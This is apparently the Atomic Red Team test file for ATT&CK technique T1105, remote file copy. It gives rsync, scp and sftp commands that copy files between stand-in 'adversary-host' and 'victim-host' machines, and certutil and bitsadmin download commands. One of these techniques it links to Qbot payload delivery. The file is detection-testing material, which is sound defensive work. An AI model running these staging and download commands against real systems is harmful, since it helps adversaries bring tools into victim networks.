atomic-red-team/atomics/T1105/T1105.md

T1105 - Remote File Copy

Description from ATT&CK

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.

Atomic Tests

• Atomic Test #1 - rsync remote file copy (push)

• Atomic Test #2 - rsync remote file copy (pull)

• Atomic Test #3 - scp remote file copy (push)

• Atomic Test #4 - scp remote file copy (pull)

• Atomic Test #5 - sftp remote file copy (push)

• Atomic Test #6 - sftp remote file copy (pull)

• Atomic Test #7 - certutil download (urlcache)

• Atomic Test #8 - certutil download (verifyctl)

• Atomic Test #9 - Windows - BITSAdmin BITS Download

Atomic Test #1 - rsync remote file copy (push)

Utilize rsync to perform a remote file copy (push)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
local_path	Path of folder to copy	Path	/tmp/adversary-rsync/
username	User account to authenticate on remote host	String	victim
remote_host	Remote host to copy toward	String	victim-host
remote_path	Remote path to receive rsync	Path	/tmp/victim-files

Run it with bash!

rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}

Atomic Test #2 - rsync remote file copy (pull)

Utilize rsync to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
remote_path	Path of folder to copy	Path	/tmp/adversary-rsync/
username	User account to authenticate on remote host	String	adversary
remote_host	Remote host to copy from	String	adversary-host
local_path	Local path to receive rsync	Path	/tmp/victim-files

Run it with bash!

rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}

Atomic Test #3 - scp remote file copy (push)

Utilize scp to perform a remote file copy (push)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
local_file	Path of file to copy	Path	/tmp/adversary-scp
username	User account to authenticate on remote host	String	victim
remote_host	Remote host to copy toward	String	victim-host
remote_path	Remote path to receive scp	Path	/tmp/victim-files/

Run it with bash!

scp #{local_file} #{username}@#{remote_host}:#{remote_path}

Atomic Test #4 - scp remote file copy (pull)

Utilize scp to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
remote_file	Path of file to copy	Path	/tmp/adversary-scp
username	User account to authenticate on remote host	String	adversary
remote_host	Remote host to copy from	String	adversary-host
local_path	Local path to receive scp	Path	/tmp/victim-files/

Run it with bash!

scp #{username}@#{remote_host}:#{remote_file} #{local_path}

Atomic Test #5 - sftp remote file copy (push)

Utilize sftp to perform a remote file copy (push)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
local_file	Path of file to copy	Path	/tmp/adversary-sftp
username	User account to authenticate on remote host	String	victim
remote_host	Remote host to copy toward	String	victim-host
remote_path	Remote path to receive sftp	Path	/tmp/victim-files/

Run it with bash!

sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'

Atomic Test #6 - sftp remote file copy (pull)

Utilize sftp to perform a remote file copy (pull)

Supported Platforms: Linux, macOS

Inputs

Name	Description	Type	Default Value
remote_file	Path of file to copy	Path	/tmp/adversary-sftp
username	User account to authenticate on remote host	String	adversary
remote_host	Remote host to copy from	String	adversary-host
local_path	Local path to receive sftp	Path	/tmp/victim-files/

Run it with bash!

sftp #{username}@#{remote_host}:#{remote_file} #{local_path}

Atomic Test #7 - certutil download (urlcache)

Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
remote_file	URL of file to copy	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	Path	Atomic-license.txt

Run it with command_prompt!

cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

Atomic Test #8 - certutil download (verifyctl)

Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
remote_file	URL of file to copy	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	Path	Atomic-license.txt

Run it with powershell!

$datePath = "certutil-$(Get-Date -format yyyy_MM_dd_HH_mm)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }

Atomic Test #9 - Windows - BITSAdmin BITS Download

This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads.

Supported Platforms: Windows

Inputs

Name	Description	Type	Default Value
bits_job_name	Name of the created BITS job	String	qcxjb7
remote_file	URL of file to copy	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
local_path	Local path to place file	Path	Atomic-license.txt

Run it with command_prompt!

C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}